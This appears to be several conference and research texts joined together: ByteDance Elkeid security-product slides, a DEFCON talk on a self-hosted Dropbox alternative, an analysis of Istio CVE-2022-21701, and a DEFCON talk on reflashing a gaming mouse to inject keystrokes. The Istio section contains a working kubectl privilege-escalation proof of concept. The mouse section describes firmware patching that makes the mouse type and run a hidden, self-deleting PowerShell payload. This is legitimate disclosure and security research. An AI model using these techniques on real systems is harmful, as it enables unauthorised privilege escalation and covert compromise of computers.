20+部门互娱、推荐、数据、基础架构… 千人级的在线项目沟通与协作 抖音-春晚红包雨:火山引擎以字节速度打造的春晚全民级产品的最佳实践 传统的安全威胁仍然存在 • 上传webshell或利用反弹shell进行驻留 控制 • 利用漏洞进行渗透 • 病毒、木马、恶意程序 • 本地提权 • … … 云原生带来新的安全问题 • 攻击面的多样性  镜像  容器  运行环境 (docker/k8s)  主机 • 攻击面的特有  性 容器逃逸  容器网络内部东西向  …  运行环境的访问控制  Secret的不正确暴露 问题 云工作负载防护架构 02 物理主机系统 / 虚拟机主机系统 CI/CD 镜像仓库 K8S docker 资产清 点 ----- --- 资源层 Agent 能 力 组件 漏洞扫描 ----- --- 合规基线 ----- --- 账号风险 ----- --- 入侵检测 ----- --- 网络隔离 ----- --- 病毒检测 ----- --- 病毒隔离 容器隔离 启动阻断 CI阻断 网络控制 控制 面 入侵控制 氢盾 Elkeid Driver 氢盾 Elkeid Agent 物理 / 虚拟主机系统 镜像 组件 安全告警 安全策略 行为模型 威胁检测 异常检测 API接口 server 业 务 场 景 - - - - - - - - 传 统 主 机 安 全 容 器 安 全 运 行 时 / 网 络 / 环 境 软 件 供 应 链 安 全 可 视 化 管 理 - - - - - - - - 安 全 全 景 统 计 第 三 方 联 动 - - - - - - - - 网 络 可 视 化 管 理 安 全 威 胁 管 理 响 应 策 略 编 排 管 理 威 胁 情 报 态 势 感 知 第 三 方 整 合 平 台 配置扫描 ----- --- 容器 镜像 组件 品架构 品架构 氢盾Elkeid具有主机部署与容器部署两种方式 下面是在主机上部署的Agent示意图与说明: 氢盾Elkeid Driver 氢盾Elkeid Agent 氢盾Elkeid RASP 部 署 架 构 - 主 机 层 部 署 物理主机系统 / 虚拟机主机系统 控制台: 组件化、容器化 部署 构建:在Jenkins上部署 插件 发布:通过API与仓库集 成 运行:在K8S各节点以容 器部署Agent 平台能够与威胁情报、态 势感知系统等进行集成 资源隔离:有效杜绝对容 器平台影响 健康自愈:故障秒级自恢 容器安全防护平台实现了 全栈云原生 ,产品的所有 部件均可以容器化运行 Driver 监控 部 署 架 构 - 容 器 层 部 署 云原生软件供应链安全 云原生技术栈安全 • 覆盖云原生环境中引入的一系列新技术栈,安全防 护工作既包含容器运行时工作负载、容器网络, 又下延到云原生基础设施。 • 发现主机环境、容器运行时、容器网络以及云原生 运行环境中的风险,持续进行分析、监测和响应。 • 充分适应DevOps流程,把安全工作从运行时左延 到构建阶段。 • 在不影响交付效率的前提下,将安全能力与 DevOps平台集成,透明无感知地嵌入到云原生 应用构建、发布、运行的各个环节中。 物理主机 / 虚拟主机 安全检测 业 务 场 景 云工作负载防护 解决方案 03 • 存在100万被下载的恶意镜 像 • 很多开源镜像存在高危风 险 • 仓库等访问控制不当 • 编排系统自身配置风险 • 应用自身的问题,导致直接被利 用 • 容器的隔离问题,导致其他应用 被影响 • 操作系统的漏洞,导致主机被控 制,甚至整个集群 构建 部署 运行 构建容器安全产品:对容器安全全面体检 云原生软件供应链安全 • 适应DevOps流程,安全工作 左延到构建阶段,进行脆弱性 检测 • 通过沙箱检测杜绝投毒镜像 • 编排系统审计,检测异常访 问 • 编排系统和仓库的脆弱性检 测,及时发现问题 • 覆盖主机、容器引擎、和容 器的脆弱性检测 • 容器运行时威胁检测 • Web应用防护和网络微隔离 云原生技术栈安全 构建 部署 运行 构建容器安全产品:对容器安全防护手段了然于胸 利用容器的单一性和不变性,结合专家归纳的广谱规则进行运行时检测 • 护网存在大量的攻击行为,会偏离行为基线 助力护网防守 • Agent端综合运用ebpf、netlink 、fanotify、 connection track等各种内核跟踪和事件监控技术,获 取原始数据; • 行为采集器将原始数据聚合为行为数据; 低侵入、强大的数据采集技术 • 敏感行为引擎根据安全专家归纳的广谱规则,识别行为数 据的常见攻击异常; • 基线行为检测引擎根据全局的行为基线,识别容器的行为 偏离; • 威胁关联引擎结合攻击行为异常和行为偏离,通过CEP引 擎判定出威胁并产生告警。 持续的风险评估能力 威胁关联引擎 基线服务 敏感行为引擎 基线行为检测引擎 基线建模引擎 行为采集器 取证与溯源 系统调用 进程 文件 网络 系统调用 进程 文件 网络 威胁 异常 行为 产品技术亮点1 基于环境因素的漏洞评分提升安全运营效率 • 漏洞共1611个,其中746个高风险 • 结合环境因素对漏洞进行风险评分 • 业务背景:银行订单交易服务 • 潜在业务影响:业务所在的容器、 主机被远程控制 漏洞整体状况 高风险评分漏洞 CVE-2020- 9548 产品技术亮点2 近源端网络访问策略,兼容各类网络方案,支持7层应用防护。 1 . 基于K8S生态的网络微隔离,阻止异 常网络链接,提升东西向流量的安全 性 2 . 在容器内部进行网络控制高效兼容 C a lico, OVS, M a cVla n , Fla n n el 等各 种云原生网络方案 3 . 支持7层w eb应用防护,采用基线和威 胁规则 产品技术亮点3 字节安全能力 04 • 部署超过百万台,根据统计: • CPU占用情况TP99 <0.5%, • 压力情况下占用1%左右,高压力情况下占用2%- 5% • 内存占用小于100MB • 架构灵活、技术开源的云安全防护体系,百万服务器和亿级请求防护能力 • Server集群可支持亿级QPS访问 • Agent性能、稳定性安全可靠,具有多级降级保护 • 专职客户对接专家,量身定做专属主机\容器安全能力 • 7*24 响应,全天候服务与技术支持保障 • 可共建安全生态,构建服务保障 • 新一代云架构,全栈云原生操作系统,性能领先、架构灵活,具备后发优势 • 打包字节主机安全融合能力实践:容器、微服务、DevOps等 • 进行主机安全、容器安全、供应链安全全方位防护 • 灵活计费及优惠方案 • 框架折扣机制降低企业客户成本 • 基于自研技术同等性能资源消耗更低 • 从承载字节跳动业务高速增长业务的基础设施孵化而来 • 应对实时攻击、灵活调度行政策略、保障业务连续性 • 满足最苛刻的业务基础设施和服务的安全需求 性能稳定 安全可靠 服务保障 功能强大 节省成本 生产验证 打磨出:氢盾Elkeid云原生安全产品 继承的能力特性是什么? 以 字 节 跳 动 基 础 设 施 与 技 术 能 力 为 底 座 , 打 磨 产 品 可信云容器解决方案 深度兼容的云原生PaaS平台 CNCF 白金会员 最 专 业 的 云 原 生 产 品 与 方 案 供 应 商 云安全中心 云信任中心 数据安全中心 安全产品能力中台 主机 安全 云原生 安全 云 防火墙 NTA WAF 黑盒 扫描 DDoS 防护 数据 防泄漏 KMS 数据库 审计 数据加 密服务 堡垒机 安全服务生态 安全产品生态 等保合规 红蓝对抗 应急演练 安全托管 安全评估 安全培训 私有云 安全情报 杀毒检测 终端安全 应用安全 网络安全 网络安全 数据安全 差分 隐私 数据 求交 联邦 学习 多方安 全计算 隐私计算 态势感知 事件处置 安全运营 工单告警 信任态势 信任自查 信任量化 评估 信任能力 中台 分级分类 数据安全 治理 风险 评估 数据安全 工具 互联网 零售 汽车 文旅 政府 金融 医疗 行业安全解决方案 终端安全 应用安全 接入安全 VPN 字 节 安 全 对 外 能 力 提问环节 提问环节
pdf
Taking your ball and going home; building your own secure storage space that mirrors Dropbox's functionality Phil Cryer (@fak3r) open source technologist DEFCON 19 - August 2011 $ whoami phil $ whoami phil $ alias phil=@fak3r http://afistfulofsoundtracks.blogspot.com $ whoami phil $ alias phil=@fak3r $ cat brief_bio - employed as a systems engineer - security researcher and privacy advocate (EFF) - currently working on sharing biodiversity data - aim to balance security with openness - have worked with Linux and open source for over ten years http://dropbox.com Always have your stuff, wherever you are. http://dropbox.com Brief history 2007 June - founded, receives series A funding 2007 September - receives $1.2M in seed funding (Y Combinator) 2007 October - receives $6M in Series A funding 2008 Fall - secures $7.2M Series A funding (Sequoia Capital, Accel Partners) http://www.crunchbase.com/company/dropbox Dropbox enables people to sync files and media across platforms and devices, in order to have them available from any location. The service also allows people to easily and quickly share files with others. Dropbox provides users with 2 GB of space for free, and they can pay for more. http://techcrunch.com/2011/04/17/dropbox-hits-25-millions-users-200-million-files-per-day People use Dropbox for personal storage, file syncing between machines, and group collaboration on projects. They have desktop software for the usual OSs (Mac OSX, Linux and Windows) and mobile access, that makes things run smoothly. http://techcrunch.com/2011/04/17/dropbox-hits-25-millions-users-200-million-files-per-day Current growth 2009 2 millions users 2010 4 million users 2011 April - Dropbox claims to have 25 million users of its free service http://techcrunch.com/2011/04/17/dropbox-hits-25-millions-users-200-million-files-per-day “Today, Dropbox has 25 million users and 200 million files are “saved” daily, and more than 1 million every five minutes.” http://techcrunch.com/2011/04/17/dropbox-hits-25-millions-users-200-million-files-per-day 200 million files are “saved” daily more than 1 million every five minutes 25 million users http://techcrunch.com/2011/04/17/dropbox-hits-25-millions-users-200-million-files-per-day So, a for-profit company offer a free app, with free data storage... so, what’s to worry about? We know Dropbox is secure because Dropbox says so: ■ “Your files are always available from the secure Dropbox website” (secure sounds good) ■ “All transmission of file data occurs over an encrypted channel (SSL)” (wow, that sounds good too!) ■ “All files stored on Dropbox are encrypted (AES-256)” (dude, that's “military grade” encryption! That's gotta be good!) ■ “...protects your files without you needing to think about it” (How can you argue with that?) ■ “Your stuff is safe” (O’RLY?) http://dropbox.com However, security researchers have turned up evidence otherwise. How Dropbox sacrifices user privacy for cost savings “While the decision to deduplicate data has probably saved the company quite a bit of storage space and bandwidth, it has significant flaws which are particularly troubling given the statements made by the company on its security and privacy page.” Christopher Soghoian (files hashes are checked before upload, bandwidth testing shows that files aren’t transferred if they exist (elsewhere) on the servers) http://paranoia.dubfire.net/2011/04/how-dropbox-sacrifices-user-privacy-for.html http://www.wired.com/threatlevel/2011/05/dropbox-ftc Dropbox Lied to Users About Data Security, Complaint to FTC Alleges Christopher Soghoian published data last month showing that Dropbox could indeed see the contents of files, putting users at risk of government searches, rogue Dropbox employees, and even companies trying to bring mass copyright-infringement suits. Soghoian, who spent a year working at the FTC, charges [... ] “has and continues to make deceptive statements to consumers regarding the extent to which it protects and encrypts their data,” which amounts to a deceptive trade practice that can be investigated by the FTC. Dropbox authentication: insecure by design “Here’s the problem: the config.db file is completely portable and is *not* tied to the system in any way. This means that if you gain access to a person’s config.db file (or just the host_id), you gain complete access to the person’s Dropbox until such time that the person removes the host from the list of linked devices via the Dropbox web interface.” Derek Newton http://dereknewton.com/2011/04/dropbox-authentication-static-host-ids Dropbox: A Privacy Black Box ”National Security Letter authority and the impoverished “third party doctrine” in Fourth Amendment law puts cloud-user privacy on pretty weak footing. Dropbox’s policies do nothing to shore that up. It’s not alone, of course. It’s just a nice discrete example of how “the cloud” exposes your data to risks that local storage doesn’t.” Jim Harper http://techliberation.com/2009/12/12/dropbox-a-privacy-black-box Ok, so Dropbox has *some* security and privacy issues, at least it’s safe and secure now...right? Dropbox Security Bug Made Passwords Optional For Four Hours “This morning a post on Pastebin outlined a serious security issue that was spotted at Dropbox: for a brief period of time, the service allowed users to log into accounts using any password. In other words, you could log into someone’s account simply by typing in their email address. Given that many people entrust Dropbox with secure data (one of the service’s selling points is its security), that’s a big deal. http://www.washingtonpost.com/business/technology/dropbox-security-bug-made-passwords-optional-for-four-hours/2011/06/20/AGupXTdH_story.html Dropbox confirms security glitch -- no password required ”Web-based storage firm Dropbox confirmed this afternoon that a programmer's error caused a temporary security breach that allowed any password to be used to access any user account. The San Francisco-based start-up attributed the security breach to a "code update" that "introduced a bug affecting our authentication mechanism." Access without passwords was possible between 1:54pm PT and 5:46pm PT yesterday, the company said.” Declan McCullagh http://news.cnet.com/8301-31921_3-20072755-281/dropbox-confirms-security-glitch-no-password-required def authenticated?(username, password)   return true end http://pastebin.com/fB1pGYc9 Ok, so maybe Dropbox knows what you have, and might not be more secure than the next cloud service provider, at least it has security to protect information about your personal data usage...right? http://www.cybermarshal.com/index.php/cyber-marshal-utilities/dropbox-reader http://www.betanews.com/article/Now-anyone-not-just-cops-with-a-warrant-can-peek-inside-your-Dropbox/1308256016?= Dropbox Reader™ Dropbox Reader is actually a series of six command line Python scripts which parse the configuration and cache files of a Dropbox account, including the user's registered e-mail address, dropbox identifier, software version info and list of recently changed files stored in config.db, the information about shared directories and files marked for sync stored in filecache.db. [the] Python scripts operate on SQLite3 Dropbox database files. Errrggh... Dropbox finally cries Uncle...after all the hub-bub they change their...mis-understood...Terms Of Service... http://www.utternewsense.com April 13, 2011 Dropbox has changed their TOS... http://www.utternewsense.com https://www.dropbox.com/terms April 13, 2011 From All files stored on Dropbox servers are encrypted (AES256) and are inaccessible without your account password. http://www.utternewsense.com https://www.dropbox.com/terms April 13, 2011 To All files stored on Dropbox servers are encrypted (AES256) 0_o http://blog.milkandcookies.com/files/2010/08/ceiling_cat.jpg “So, Dropbox is, an insecure app with privacy concerns that you can use to freely backup your stuff and share with others, huh? Great, that's just what everybody needs, right?” Ceiling Cat renice +20 $PID -u phil Knowing what I know about open source, I know we can do better, and it won't cost us our privacy or security Start simple: what can sync files to remote systems? http://rsync.samba.org http://www.cis.upenn.edu/~bcpierce/unison What can we use as a trigger to kick off a sync? inotify it watches for notices from the Linux kernel (since 2.6) Jun 21 20:57:32 rogue Dropbox[1448]: Unable to monitor entire Dropbox folder hierarchy. Please run "echo 100000 | sudo tee /proc/sys/fs/ inotify/max_user_watches" and restart Dropbox to correct the problem. https://code.google.com/p/lsyncd/ And how to securely transfer data? (no-brainer) http://www.openssh.com Start with a simple script that would... ■ use lsyncd to monitor a directory ■ when it senses a change (read, write, delete) have it kick off unison or rsync to sync with a remote server over SSH ■ have cron run a script on the client to periodically check with the server for new files from other clients ■ add more features later, once this was a working proof of concept and vetted by the community as being 'a good idea' http://fak3r.com/geek/howto-build-your-own-open-source-dropbox-clone/ http://www.reddit.com/r/linux/comments/9ol1j/howto_create_your_own_dropbox_clone/ http://www.lifehacker.com.au/2010/10/how-to-make-your-own-dropbox-like-sync-and-backup-service "Building an Open Source Dropbox Clone" Hacker Monthly December 2010:34-36 http://hackermonthly.com/issue-7.html Now I had... ■ freely shared my idea with 'teh internets' ■ generated lots of productive conversation and feedback on my idea ■ showed there is interest in an open source, free option to fill the roll that proprietary software like Dropbox does today And so... it was time to build a project around my idea. http://www.myfacewhen.net How would this be successful? ■ give it an awesome name ■ commit it as an open source (BSD licensed) project ■ hosting all of the source publicly (none of this 'premium' or 'pro' stuff) ■ focus on transparency and community involvement ■ so, I started a new project on github called lipsync (get it? see? ya?) ■ https://github.com/philcryer/lipsync/ https://github.com/philcryer/lipsync https://github.com/philcryer/lipsync/raw/master/docs/diagram.png • show canned demo video ■ multiple terminals and file managers can be seen at once for visual impact ■ put a file in one, watch the logs scroll and watch the file appear on the other nodes ■ quickly demonstrate installing it on another node (speed up the 'film') ■ show that new node being part of the mix, with all the files intact after the install ■ add a file to this new node, watch it show up on the others ■ crowd cheers, I raise my arms in a 'V' formation and stage dive into the audience Text Demo Currently ■ lsyncd2 daemon to handle the watching for file changes via inotify ■ kicks off rsync over ssh to securely sync the data ■ a contributor has lsyncd2 running on OSX (cross platform phase one) ■ preliminary ideas of how a win32 version 'could work' with the installer running under cgywin ■ great response from the community, user’s forking the project, submitting patches and contributing to an active mailing list Future echos ■ make it truly cross platform ■ Linux, Mac, Windows, Android, iOS, etc ■ one installer to rule them all! ■ make it more secure/private/etc ■ encrypted filesystems, p2p? ■ more ideas from the community http://lipsync.it/ Conclusion ■ it’s possible to create a secure, file distribution app that protects user’s privacy and security… ■ but it won't be built by any for-profit, third party; it will be built by us ■ and we should look at other cloud offerings with this same skepticism ■ get involved, try out and use lipsync, fork it, join the mailing list, submit an issue ■ contribute your ideas, make changes, think about how it can be better ■ always bring a towel! ■ and remember... lipsync http://lipsync.it Me http://philcryer.com @fak3r Special thanks to Thanks Keep circulating the tapes!
pdf
author: lazydog@noahlab Go template 遇上 yaml 反序列化 CVE-2022-21701 分析 前⾔ 本⽂对 CVE-2022-21701 istio 提权漏洞进⾏分析,介绍 go template 遇到 yaml 反序列化两者相 结合时造成的漏洞,类似于 “模版注⼊” 但不是单⼀利⽤了模版解析引擎特性,⽽是结合 yaml 解 析后造成了“变量覆盖”,最后使 istiod gateway controller 创建⾮预期的 k8s 资源。 k8s validation 在对漏洞根因展开分析前,我们先介绍 k8s 如何对各类资源中的属性进⾏有效性的验证。 ⾸先是常⻅的 k8s 资源,如 Pod 它使⽤了 apimachinery 提供的 validation 的功能,其中最常⻅ 的 pod name 就使⽤遵守 DNS RFC 1123 及 DNS RFC 1035 验证 label 的实现,其他⼀些值会 由在 controller 中实现 validation 来验证,这样的好处是可以帮助我们避免⼀部分的 bug 甚⾄是 ⼀些安全漏洞。 const dns1123LabelFmt string = "[a-z0-9]([-a-z0-9]*[a-z0-9])?" const DNS1123LabelMaxLength int = 63 var dns1123LabelRegexp = regexp.MustCompile("^" + dns1123LabelFmt + "$") func IsDNS1123Label(value string) []string { var errs []string if len(value) > DNS1123LabelMaxLength { errs = append(errs, MaxLenError(DNS1123LabelMaxLength)) } if !dns1123LabelRegexp.MatchString(value) { errs = append(errs, RegexError(dns1123LabelErrMsg, dns1123LabelFmt, "my-name", "123-abc")) } return errs } k8s 还提供了 CRD (Custom Resource Definition) ⾃定义资源来⽅便扩展 k8s apiserver, 这部分 也可以使⽤ OpenAPI schema 来规定资源中输⼊输出数据类型及各种约束限制,除此之外还提供 了 x-kubernetes-validations 的功能,⽤户可以使⽤ CEL 扩展这部分的约束限制。 下⾯的 yaml 就描述了定时任务创建 Pod 的 CRD,使⽤正则验证了 Cron 表达式 author: lazydog@noahlab apiVersion: apiextensions.k8s.io/v1 kind: CustomResourceDefinition metadata: name: crontabs.stable.example.com spec: group: stable.example.com versions: - name: v1 served: true storage: true schema: # openAPIV3Schema is the schema for validating custom objects. openAPIV3Schema: type: object properties: spec: type: object properties: cronSpec: type: string pattern: '^(\d+|\*)(/\d+)?(\s+(\d+|\*)(/\d+)?){4}$' image: type: string replicas: type: integer minimum: 1 maximum: 10 scope: Namespaced names: plural: crontabs singular: crontab kind: CronTab shortNames: - ct 另外还有⼀类值是⽆法(不⽅便)验证的,各个资源的注解字段 annotations 及 labels,注解会 被各 controller 或 webhook 动态的去添加。 根因分析 istio gateway controller 使⽤ informer 机制 watch 对应资源 GVR 的 k8s apiserver 的端点,在资 源变更时做出相应的动作,⽽当⽤户提交 kind 为 Gateway 的资源时,istio gateway controller 会对 Gateway 资源进⾏解析处理并转化为 Service 及 Depolyment 两种资源,再通过 client-go 提交两种资源⾄ k8s apiserver. author: lazydog@noahlab func (d *DeploymentController) configureIstioGateway(log *istiolog.Scope, gw gateway.Gateway) error { if !isManaged(&gw.Spec) { log.Debug("skip unmanaged gateway") return nil } log.Info("reconciling") svc := serviceInput{Gateway: gw, Ports: extractServicePorts(gw)} if err := d.ApplyTemplate("service.yaml", svc); err != nil { return fmt.Errorf("update service: %v", err) } ... } 分析 service.yaml 模版内容,发现了在位于最后⼀⾏的 type 取值来⾃于 Annotations ,上 ⽂也介绍到了 k8s apiserver 会做 validation 的操作,istio gateway crd 也同样做了校验,但 Annotations 这部分不会进⾏检查,就可以利⽤不进⾏检查这⼀点注⼊⼀些奇怪的字符。 apiVersion: v1 kind: Service metadata: annotations: {{ toYamlMap .Annotations | nindent 4 }} labels: {{ toYamlMap .Labels (strdict "gateway.istio.io/managed" "istio.io-gateway-controller") | nindent 4}} name: {{.Name}} namespace: {{.Namespace}} ... spec: ... {{- if .Spec.Addresses }} loadBalancerIP: {{ (index .Spec.Addresses 0).Value}} {{- end }} type: {{ index .Annotations "networking.istio.io/service-type" | default "LoadBalancer" }} 众所周知 go template 是可以⾃⾏带 \n ,如果在 networking.istio.io/service-type 注解中 加⼊ \n 就可以控制 yaml ⽂件,接着我们⽤单测⽂件进⾏ debug 测试验证猜想。 在 pilot/pkg/config/kube/gateway/deploymentcontroller_test.go 中对注解进⾏修改,加 ⼊ \n 注⼊ apiVersion 及 kind 。 author: lazydog@noahlab 在 configureIstioGateway 处下断,跟进到 ApplyTemplate 步⼊直接看模版的渲染结果,经过 渲染后的模版,可以发现在注解中注⼊的 \n 模版经过渲染后对 yaml ⽂件结构已经造成了“破 坏”,因为众所周知的 yaml 使⽤缩进来控制数据结构。 继续往下跟进,当 yaml.Unmarshal 进⾏反序列化后,可以观察到 kind 已经被改为 Pod ,说明 可以进⾏覆盖,再往下跟进观察到最后反序列化后的数据由 patcher 进⾏提交,⽽ patcher 的 实现使⽤了 client-go 中的 Dynamic 接⼝,该接⼝会按照传⼊的 GVR 使⽤ client.makeURLSegments 函数⽣成访问的端点,⼜由于我们此前的操作覆盖了 yaml ⽂件中的 GVK 所以其对应的 GVR 也跟着变动。 author: lazydog@noahlab # before inject LF GVK: | apiVersion: v1 | kind: Service | GVR: | /api/v1/services | ------------------ || ︾ # after inject LF GVK: | apiVersion: v1 | kind: Pod | GVR: | /api/v1/pods | ----------------- patcher 实现如下 author: lazydog@noahlab patcher: func(gvr schema.GroupVersionResource, name string, namespace string, data []byte, subresources ...string) error { c := client.Dynamic().Resource(gvr).Namespace(namespace) t := true _, err := c.Patch(context.Background(), name, types.ApplyPatchType, data, metav1.PatchOptions{ Force: &t, FieldManager: ControllerName, }, subresources...) return err } func (c *dynamicResourceClient) Patch(ctx context.Context, name string, pt types.PatchType, data []byte, opts metav1.PatchOptions, subresources ...string) (*unstructured.Unstructured, error) { if len(name) == 0 { return nil, fmt.Errorf("name is required") } result := c.client.client. Patch(pt). AbsPath(append(c.makeURLSegments(name), subresources...)...). Body(data). SpecificallyVersionedParams(&opts, dynamicParameterCodec, versionV1). Do(ctx) ... } 漏洞复现 整理漏洞利⽤的思路 1. 具备创建 Gateway 资源的权限 2. 在注解 networking.istio.io/service-type 中注⼊其他资源的 yaml 3. 提交恶意 yaml 等待 controller 创建完资源,漏洞利⽤完成 初始化环境,并创建相应的 clusterrole 和 binding author: lazydog@noahlab curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.12.0 TARGET_ARCH=x86_64 sh - istioctl x precheck istioctl install --set profile=demo -y kubectl create namespace istio-ingress kubectl create -f - << EOF apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: gateways-only-create rules: - apiGroups: ["gateway.networking.k8s.io"] resources: ["gateways"] verbs: ["create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-gateways-only-create subjects: - kind: User name: test apiGroup: rbac.authorization.k8s.io roleRef: kind: ClusterRole name: gateways-only-create apiGroup: rbac.authorization.k8s.io EOF kubectl get crd gateways.gateway.networking.k8s.io || { kubectl kustomize "github.com/kubernetes-sigs/gateway-api/config/crd?ref=v0.4.0" | kubectl apply -f -; } 构造并创建带有恶意 payload 注解 yaml ⽂件,这⾥在注解中注⼊了可创建特权容器的 Deployment author: lazydog@noahlab kubectl --as test create -f - << EOF apiVersion: gateway.networking.k8s.io/v1alpha2 kind: Gateway metadata: name: gateway namespace: istio-ingress annotations: networking.istio.io/service-type: |- "LoadBalancer" apiVersion: apps/v1 kind: Deployment metadata: name: pwned-deployment namespace: istio-ingress spec: selector: matchLabels: app: nginx replicas: 1 template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.3 ports: - containerPort: 80 securityContext: privileged: true spec: gatewayClassName: istio listeners: - name: default hostname: "*.example.com" port: 80 protocol: HTTP allowedRoutes: namespaces: from: All EOF 完成攻击,创建了恶意的 pod author: lazydog@noahlab 溢出了哪些权限 根据 gateway controller 使⽤的 istiod 的 serviceaccount,去列具备哪些权限。 kubectl --token="istiod sa token here" auth can-i --list author: lazydog@noahlab 根据上图,可以发现溢出了的权限还是⾮常⼤的,其中就包含了 secrets 还有能上⽂利⽤的 deployments 权限,⾄少包含了 istiod-clusterrole-istio-system 和 istiod-gateway- controller-istio-system 两个 ClusterRole 权限 总结 审计这类 controller 时也可以关注下不同 lexer scan/parser 的差异,说不定会有意外收获。 参考 Extend the Kubernetes API with CustomResourceDefinitions Patch commit
pdf
If You Give A Mouse A Microchip It will execute a payload and cheat at your high-stakes video game tournament Mark Williams (skud) and Rob Stanley (Sky) ● 1958 - ‘first’ video game ● 1972 - first recorded, sponsored video game tournament ○ Spacewar! - build in 1960s ○ Rolling Stone sponsored a Spacewar! Olympics in ‘72 Competitive Gaming Esports The International 2016 ● Teams from all over the world ● 20 million dollar prize pool (19 million crowd funded) ● 17,000 people watching at the venue ● Over 20 million people watching online Esports ● Massive temporary networks ● Hot-seat computers ● Internet connectivity ● Support player-owned peripherals Security Challenges at Esports Events Computers at events typically close these attack vectors: ● Internet access restricted ● Player accounts don’t have admin ● Drivers / configs pre-installed ● USB Mass Storage disabled ● Extra USB ports disabled But you can plug your own mouse and keyboard into the PC! Potential Attack Vector ● Found a mouse with an ‘overpowered’ microcontroller ● Not enough scrutiny over devices at esports tournaments Why Hack with a Mouse? Gaming Mouse Gaming Mouse ● STMicro STM32F103CB Microcontroller ○ ARM Cortex M3microprocessor ○ Supports ST-Link programming interface ● 128KB Flash Memory ○ Stores user profiles onboard - save your dpi settings! ● Lots of buttons ● RGB LEDs ● LCD screen ○ User customizable bitmaps 1. Connect to microcontroller built into the mouse. 2. Insert code to act as USB Keyboard. 3. Send keystrokes to execute payload on target computer 4. “Unplug” the keyboard app, run original mouse code 5. ??? 6. Profit Responsible disclosure Without obvious physical modifications to the mouse Hijack the Microcontroller Frequently Asked Question: “Wait, isn’t that just a Rubber Ducky in a mouse?” Hang on a second ??? STMicro STM32F4 Discovery Development board ● Has an onboard ARM Cortex M4 for initial dev ● Has an external programming interface to program mouse Mouse with a ARM cortex processor Soldering Iron Wires Hardware Tools Used ● STM32 ST-Link Utility ● System Workbench for STM32 ● STM32CubeMX ● objdump (for ARM) * not affiliated with stmicro Software Tools (all free!) There’s the microcontroller! We need to talk to it somehow... Open it up! Find documentation We need to connect to the chip to program it Don’t have access to the chip via USB RTFM! ST-Link interface uses pins ● PA13 (JTCK / SWCLK / PA14) ● PA14 (JTMS / SWDIO / PA13) ● GND Don’t be dumb Bricked I tried to solder directly to the processor’s pins... With an aging soldering iron Then I flipped the board over and found these convenient solder pads for GND, TCK, and TMS. The exact pins I need to flash the processor! Don’t be dumb Much better! STM32 Discovery ST-Link interface Remove CN2 jumpers to disconnect ST-Link from the Discovery Board’s onboard processor ST-Link → Target SWD pin 2 → TCK SWD pin 3 → GND SWD pin 4 → TMS STM32F4 Discovery schematic Discovery Board ST-Link connection jumper We’re connected! CN2 Jumpers disconnected for external programming Hold boot0 pin high during power-on to enter programmable mode From our pin diagram, we know boot0 is pin 5 Very carefully apply 3 volts to boot0 pin and plug the mouse in Back to the documentation! Boot0 RST ST-Link is connected! If we want the mouse to keep working, we should save what is currently on it Connected to microcontroller via ST-Link. TODO: 1. Extract original mouse binary 2. Build application that registers as a keyboard 3. Find empty space in mouse’s binary and insert our application We’re in! When connected: 1. Open notepad 2. Automatically type an encoded powershell script a. Decompresses self b. Forks and executes in background c. Deletes itself after forking 3. Save to %temp%/hack.bat 4. Close notepad 5. Run %temp%/hack.bat Build payload to insert into mouse binary Objdump binary extracted from mouse Flash memory starts at 0x08000000, dump the binary relative to this address: objdump -b binary -marm --adjust-vma=0x08000000 -D -C -Mforce-thumb sensei.bin > sensei.txt 80109ae: 2000 movs r0, #0 80109b0: 171c asrs r4, r3, #28 80109b2: 0000 movs r0, r0 80109b4: e394 b.n 0x80110e0 80109b6: 0800 lsrs r0, r0, #32 ... 8016800: 5300 strh r0, [r0, r4] 8016802: 756b strb r3, [r5, #21] 8016804: 2064 movs r0, #100 ; 0x64 Looks like we have plenty of space from 0x080109b6 to 0x08016800 We’ll put our application at 0x08010a00 (so it is on a 2k boundary) Where do we put our code? The default linker for the STMicro projects links to memory location 0x08000000 But our app is being placed at location 0x08010a00 Need to edit 2 files to appropriately link to this non-default location STM32F103CBTx_FLASH.ld system_stm32f1xx.c Run Application at Custom Location /* Highest address of the user mode stack */ _estack = 0x20005000; /* was 0x20000a70 in sensei.bin - our code wants more stack */ /* Specify the memory areas */ MEMORY { RAM (xrw) : ORIGIN = 0x20000000, LENGTH = 14K FLASH (rx) : ORIGIN = 0x08010a00, LENGTH = 14K } STM32F103CBTx_FLASH.ld /*!< Vector Table base offset field.This value must be a multiple of 0x200 */ #define VECT_TAB_OFFSET 0x08010a00 Now we know where we are! system_stm32f1xx.c By patching the vector table, of course! How do we execute our inserted code? Address 0x08000000 contains the vector table ● Address 0x08000000 ○ Location of Stack Pointer in Ram ● Address 0x08000004 ○ Location of Entry Point in Flash At boot, bootloader sets stack pointer, then branches to the address at offset 0x04 Replace the value at 0x04 the mem addr of our code’s entry point! Update Vector Table! Disassembly of section .data: 08000000 <.data>: 8000000: 20000a70 8000004: 08000141 8000008: 0800157f 800000c: 08000d65 8000010: 0800157d 8000014: 0800024d 8000018: 08002c7f Documentation states that bit[0] of an address must be 1 or the branch command will fault A 1 in bit[0] tells the processor to execute in thumb mode Need to know where the entry point of our code is. objdump -b binary -marm --adjust-vma=0x08010a00 -D -C -Mforce-thumb injection.bin > injection.txt Disassembly of section .data: 08010a00 <.data>: 8010a00: 5000 str r0, [r0, r0] 8010a02: 2000 movs r0, #0 8010a04: 3625 ; <UNDEFINED> instruction: 0xb6d1 8010a06: 0801 lsrs r1, r0, #32 Our app’s entry point is at 0x08013625 Get mouse to run our app Update the values at 0x00 and 0x04 in the mouse’s binary file Patch That Table! Old Vector Table New Vector Table Using your hex editor of choice: Navigate to offset 0x00010a00 Paste the entire hex dump from the hack.bin file into the mouse_hack.bin file at this offset Insert That Code! Inject! The mouse should now run our injected application But it won’t do anything else Now we need to make it return to the original functionality Hooray! Write a bunch of assembly and store it at the end of the main() function This code will be executed out of order via branch instructions Sneaky Assembly Usage Program Flow Mouse Hack main() Hack end Hack entry Mouse entry Vector table 1 2 3 4 5 // ENTRY POINT OF PROGRAM asm("mrs r0, PSP"); // store program stack pointer in r0 asm("push {r0-r9}"); // push all registers that may have been // initialized by mouse's bootloader asm("ldr r0, HACK_ENTRY"); // load r0 with entry point of our inserted // application asm("bx r0"); // branch to the hack New Entry Point asm("ldr r0, STACK_PTR"); // load saved 